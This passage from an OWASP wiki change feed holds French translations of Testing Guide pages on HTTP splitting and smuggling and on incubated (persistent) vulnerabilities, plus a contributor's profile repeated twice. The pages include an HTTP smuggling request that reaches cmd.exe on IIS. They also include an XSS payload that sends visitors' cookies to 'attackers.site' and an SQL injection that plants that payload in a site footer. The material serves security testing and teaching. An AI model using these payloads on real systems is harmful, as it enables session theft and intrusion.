# Certaines cibles (ex : ASP) vont encoder en format URL la partie chemin de l'entête Location (ex : www.victim.com/redirect.asp), rendant une séquence CRLF inutile. Cependant, elles n'encodent pas la section requête (ex : ?interface=advanced), donc un point d'interrogation au début contournera le filtrage.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour une discussion plus détaillée sur cette attaque et d'autres information sur les scénarii et applications possibles, voir les articles référencés à la fin de cette section.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise === &lt;br /&gt;
====HTTP Splitting====&lt;br /&gt;
Une connaissance assez détaillée de l'application web et de la cible de l'attaque est d'une grande aide pour une exploitation réussie d'HTTP Splitting. Par exemple, différentes cibles peuvent utiliser différentes méthodes pour décider quand un message HHTP se termine et qu'un second commance. Certaines vont utiliser les séparateurs de messages, comme dans l'exemple précédent. D'autres cibles vont considérer que différents messages seront transportés dans différents paquets. D'autres encore vont allouer des blocks mémoire pour chaque message ; dans ce cas, le second message devra commencer exactement au début d'un block et le testeur devra faire du remplissage (padding) entre deux messages.Cela peut causer quelques problèmes quand le paramètre vulnérable doit être envoyé dans l'URL, puisque des URLs très longues sont suceptibles d'être tronquées ou filtrées. Un scénario en boite grise peut aider l'attaquant à trouver un contournement : plusieurs serveurs d'application, par exemple, autoriseront les requêtes à être envoyées en POST plutôt qu'en GET.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
====HTTP Smuggling====&lt;br /&gt;
Comme signalé en introduction, l'HTTP Smuggling utilise les différentes manières dont un message HTTP peut être analysé et interprêté par différents agents (navigateurs, caches web, pare-feux applicatifs). Ce genre d'attaques relativement nouveau a été découvert par Chaim Linhart, Amit Klein, Ronen Heled et Steve Orrin en 2005. Il permet différentes applications et nous allons analyser la plus spectaculaire : le contournement d'un pare-feu applicatif. Voir l'article original référencé en bas de page pour plus de détails et d'autres scenarii.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Contournement d'un pare-feu applicatif'''&lt;br /&gt;
&lt;br /&gt;
Plusieurs produits permettent à un administrateur système de détecter et de bloquer un requête web hostile, selon les schémas malicieux connus intégrés à la requêete. Par exemple, considérons la célèbre et ancienne attaque 'Unicode directory traversal' contre les serveur IIS (http://www.securityfocus.com/bid/1806), dans laquelle un attaquant peut sortir de l'arborescence www en envoyant une requête telle que :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+&amp;lt;command_to_execute&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est bien sûr très facile de repérer et filtrer cette attaque grâce à la présence de chaînes comme &amp;quot;..&amp;quot; et &amp;quot;cmd.exe&amp;quot; dans l'URL. Cependant, IIS 5.0 est très sensible pour les requêtes POST dont le corps fait jusqu'à 48K et tronque tout contenu au de-là de cette limite quand l'entête Content-Type est différent de application/x-www-form-urlencoded. Le testeur peut tirer avantage de cela en créant une très grand requête, structurée comme suit :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.1        &amp;lt;-- Request #1 &lt;br /&gt;
Host: target&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 49225 &lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;49152 bytes of garbage&amp;gt; &lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #2&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 33&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #3&lt;br /&gt;
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0   &amp;lt;-- Request #4&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La première requête #1 est composée de 49223 octets, incluant les lignes de la requête #2. Un pare-feu (ou tout autre agent excepté IIS 5.0) va voir la requête #1 mais pas la requête #2 (ses données sont juste une partie de la requête #1), va voir la requête #3 et manquer la requête #4 (puisque le POST est une partie de l'entête falsifié xxxx).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, que se passe-t-il dans IIS 5.0 ? Il va arrêter d'analyser la requête #1 après les 49152 octets de remplissage (puisqu'il aura atteinte la limite de 48K=49152 octets) et va ainsi analyser la requête #2 comme une nouvelle requête séparée. La requête #2 prétend que son contenu des de 33 octets, ce qui inclut tout le contenu jusqu'à &amp;quot;xxxx: &amp;quot;, faisant en sorte que IIS manque la requête #3 (interprêtée comme une partie de la requête #2), mais va voir la requête #4, puisque son POST commence après le 33e octet de la requête #2. Cela semble un peu compliqué, mais l'important est que l'URL d'attaque ne sera pas détectée par le pare-feu (interprêtée comme le corps de la requête précédente) mais sera analysée correectement (et exécutée) par IIS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Quand la technique précédente est utilisée pour exploiter un bogue dans un serveur web, plusieurs autres scenarii vont bénéficier des différentes manières dont différents devices HTTP vont analyser les messages non conformes à la RFC 1005. Par exemple, le protocol HTTP ne permet qu'une seule entête Content-Length, mais ne spécifie pas comment traiter une message qui en contient deux instances. Certaines implémentations vont utiliser la première, d'autres vont préférer la seconde, permettant ainsi des attaques d'HTTP smuggling. Un autre exemple est l'utilisation de l'entête Content-Length dans un message GET.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut remarquer que l'HTTP Smuggling n'exploit *pas* de vulnérabilité dans l'application ciblée. Il peut donc être difficile, lors d'un test d'intrusion, de convaincre le client que des contre-mesures doivent tout de même être recherchées et appliquées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Message Splitting, Smuggling and Other Animals&amp;quot; - http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)&amp;quot; - http://www.securityfocus.com/archive/1/411418&lt;br /&gt;
* Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593&amp;lt;br&amp;gt;&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.cgisecurity.com/lib/http-request-smuggling.pdf&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187963</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187963"/>
				<updated>2015-01-13T11:12:48Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.1 Tester les débordements de tas]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.2 Tester les débordements de pile]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.3 Tester les format string]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.15 Tester les incubated vulnerabilities (OTG-INPVAL-015)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.16 Tester l'HTTP Splitting Smuggling (OTG-INPVAL-016)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.15_Tester_les_incubated_vulnerabilities_(OTG-INPVAL-015)&amp;diff=187945</id>
		<title>4.8.15 Tester les incubated vulnerabilities (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.15_Tester_les_incubated_vulnerabilities_(OTG-INPVAL-015)&amp;diff=187945"/>
				<updated>2015-01-13T00:34:43Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}   == Sommaire == Aussi connues sous le nom d'attaques persistentes, tester les incubated est une méthode complexe de test qui nécessite p...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Aussi connues sous le nom d'attaques persistentes, tester les incubated est une méthode complexe de test qui nécessite plus d'une vulnérabilité de validation de données pour fonctionner. Les vulnérabilités incubated sont typiquement utilisées pour mener des attaques &amp;quot;watering hole&amp;quot; contre les utilisateurs d'applications web légitimes.&lt;br /&gt;
&lt;br /&gt;
Les vulnérabilité incubated ont les caractéristiques suivantes :&lt;br /&gt;
* En premier lieu, le vecteur d'attaque doit être persistent, il doit être stocké dans la couche de persistence, et cela ne peut arriver que si une faible validation de données est présente ou si les données sont arrivées dans le système par un autre canal, comme une console d'administration ou via un processus batch du backend.&lt;br /&gt;
* Deuxièmement, uen fois le vecteur d'attaque a été &amp;quot;rappelé&amp;quot;, il doit être exécuté avec succès. Par exemple, une attaque par incubated XSS nécessitera une faible validation des sorties pour que le script puisse être délivré au client sous sa forme exécutable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'exploitation de quelques vulnérabilités, ou même de fonctionnalités d'une application web, va permettre à l'attaquant de déposer des données qui seront ensuite récupérées par un utilisateur à son insu ou par d'autres composants du système, et ainsi d'exploiter une autre vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un test d'intrusion, le terme '''incubated attacks''' peut être utilisé pour évaluer la criticité de certains bogues, utilisant un problème de sécurité particulier pour construire une attaque côte client qui pourra cibler un large nombre de victimes simultanément (par exemple, tous les utilisateurs naviguant sur le site).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce type d'attaque asynchrones couvre un large spectre de vecteurs d'attaque, parmi eux :&lt;br /&gt;
&lt;br /&gt;
* Les composants de stockage de fichiers d'une application, permettant à un attaquant de télécharger des fichiers multimedia corrompus (images jpg exploitant CVE-2004-0200, images png exploitant CVE-2004-0597, des fichiers exécutables, des pages avec des composants actofs, etc.).&lt;br /&gt;
&lt;br /&gt;
* Des failles XSS dans des forums publics (voir [[Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)|Testing for Stored Cross_site scripting (OTG-INPVAL-002)]] pour plus de détails). Un attaquant peut potentiellement stocker des scripts ou du code malicieux dans un repository sur le backend de l'application (ex: une base de données) afin que ce script/code soit exécuté par un des utilisateurs (utilisateurs finaux, administrateurs, etc.). L'archétype d'une attaque incubated est d'utiliser une vulnérabilité XSS dans un forum d'utilisateurs, bulletin board, ou un blog afin d'injecter du code JavaScript dans une page vulnérable, qui sera affichée et exécutée par le navigateur de l'utilisateur, en utilisant le niveau de confiance du site original (vulnérable).&lt;br /&gt;
&lt;br /&gt;
* Des injections SQL/XPath permettant à l'attaquant de stocker du contenu dans la base de données, qui sera ensuite récupéré comme partie active du contenu d'une page web. Par exemple, si l'attaquant peut poster du JavaScript arbitraire dans un bulletin board afin qu'il soit exécuté par les utilisateurs, il peut prendre le contrôle de leurs navigateurs (Ex. : [http://sourceforge.net/projects/xss-proxy XSS-proxy])&lt;br /&gt;
&lt;br /&gt;
* Des serveurs mal configurés permettant l'installation de paquetages Java ou de composants web similaires  (Ex. : Tomcat, ou des consoles d'hébergement web comme Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
&lt;br /&gt;
====Exemple de stockage de fichier====&lt;br /&gt;
Vérifier le type de contenu permis sur une application web et l'URL résultante pour le fichier stocké. Télécharger un fichier qui va exploiter un composant dans la station de travail locale de l'utilisateur quand il sera visualisé ou téléchargé par l'utilisateur. Envoyer un e-mail à la victime ou une autre sorte d'alerte pour l'inciter à visiter la page. Le résultat attendu est que l'exploit sera déclenché quand l'utilisateur consulte la page résultante ou télécharge et exécute le fichier depuis le site de confiance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Exemple XSS sur un Bulletin Board====&lt;br /&gt;
&lt;br /&gt;
1. Introduire du code ''JavaScript'' comme valeur du champ vulnérable, par exemple :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Diriger des utilisateurs vers la page vulnérable ou attendre que des utilisateurs la visitent. Mettre en place un &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; sur ''attackers.site'' pour écouter toutes les connexions entrantes.&lt;br /&gt;
&lt;br /&gt;
3. Wuand les utilisateurs visitent la page vulnérable, une requête contenant leur cookie (''document.cookie'' est inclu dans l'URL) sera envoyée vers ''attackers.site'', telle que :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Utiliser les cookies ainsi obtenus pour usurper l'identité des utilisateurs sur le site vulnérable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Exemple d'injection SQL====&lt;br /&gt;
Souvent, cet ensemble d'exemples utilise des attaques XSS pour exploiter une vulnérabilité d'injection SQL. La première chose à faire est de tester si le site ciblé comporte une vulnérabilité d'injection SQL. Cela est décrit dans la section 4.2 [[Testing for SQL Injection  (OTG-INPVAL-006)|Testing for SQL Injection]]. Pour chaque vulnérabilité d'injection SQL, il y a un ensemble de contraintes décrivant le genre de requêtes que l'attaquant/testeur peut faire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le testeur doit alors faire correspondre les attaques XSS qu'il a conçues avec les entrées qu'il peut insérer.&lt;br /&gt;
&lt;br /&gt;
1. De manière similaire aux exemples précédents de XSS, utiliser un champ d'une page vulnérable à des injections SQL pour changer une valeur en base de données qui pourra être utilisée par l'application comme entrée à afficher sur le site sans filtrage adéquat (cela serait une combinaison d'injection SQL et de XSS). Par exemple, supposons qu'il y ait une table ''footer'' en base avec tous les pieds de page des pages du site, incluant un champ ''notice'' contenant une note légale apparaissant en bas de chaque page. Vous pourriez utiliser la requête suivante pour injecter du code JavaScript dans le champ ''notice'' de la table ''footer' dans la base.&lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
&lt;br /&gt;
      &lt;br /&gt;
2. Maintenant, chaque utilisateur visitant le site envoie silencieusement son cookie vers ''attackers.site'' (étapes b.2 to b.4).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur mal configuré====&lt;br /&gt;
Certains serveurs web ont une interface d'administration qui peut permettre à un attaquant de stocker les composants actifs de leur choix sur le site. Cela peut être le cas avec un serveur Apache Tomcat qui ne force pas d'authentification solide pour accéder à son Web Application Manager (ou si le testeur a pu obtenir des identifiants/mot de passe valides par d'autres moyens).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, une fichier WAR peut être téléchargé et une nouvelle application web déployée sur le site, qui permettra non seulement au testeur d'exécuter le code de son choix localement sur le serveur, mais aussi d'installer une application sur le site de confiance, à laquelle les utilisateurs réguliers du site auront accès (très probablement avec un niveau de confiance plus grand que lorsqu'ils visitent d'autres sites).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il devrait être évident que la possibilité de changer le contenu des page d'un serveur, via des vulnérabilités quelconques exploitable sur le serveur, et qui vont donner à l'attaquant les droits d'écriture sur l'arborescence du site, pourra aussi être utile pour placer une telle attaque incubated sur les pages du serveur (c'est en fait la méthode de propagation des vers infectant les serveurs web).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise === &lt;br /&gt;
Les techniques grises/blanches seront les mêmes que celle discutées précédemment.&lt;br /&gt;
* Examiner la validation des entrée est la clef pour mitiguer cette vulnérabilité. Si d'autres systèmes dans l'entreprise utilise la même couche de persistence, elle pauvent avoir des validations faibles et les données peuvent être persistées via une &amp;quot;back door&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Pour combattre les problèmes de &amp;quot;back door&amp;quot; du côté client, une validation des sorties doit aussi être employée afin d'encoder les données corrompues avant de les afficher au client, et donc elles ne seront pas exécutées.&lt;br /&gt;
&lt;br /&gt;
* Voir la section [[Data Validation %28Code Review%29#Data validation strategy|Data Validation]] du Guide de revue de code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
&lt;br /&gt;
* XSS-proxy - http://sourceforge.net/projects/xss-proxy&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* Burp Suite - http://portswigger.net/burp/proxy.html&lt;br /&gt;
* Metasploit - http://www.metasploit.com/&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
La plupart des références de la section sur les cross site scripting sont valides. Comme expliqué plus haut, les attaques incubated sont exécutées en combinant des exploits comme des XSS et des injections SQL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Avis'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
* Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Web Application Security Consortium &amp;quot;Threat Classification, Cross-site scripting&amp;quot; - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187944</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187944"/>
				<updated>2015-01-13T00:34:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.1 Tester les débordements de tas]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.2 Tester les débordements de pile]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.3 Tester les format string]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.15 Tester les incubated vulnerabilities (OTG-INPVAL-015)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.14.3_Tester_les_format_string&amp;diff=187943</id>
		<title>4.8.14.3 Tester les format string</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.14.3_Tester_les_format_string&amp;diff=187943"/>
				<updated>2015-01-12T23:29:40Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}   == Sommaire ==  Cette section décrit comment tester les attaques sur les format string qui peuvent être utilisées pour faire planter u...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
&lt;br /&gt;
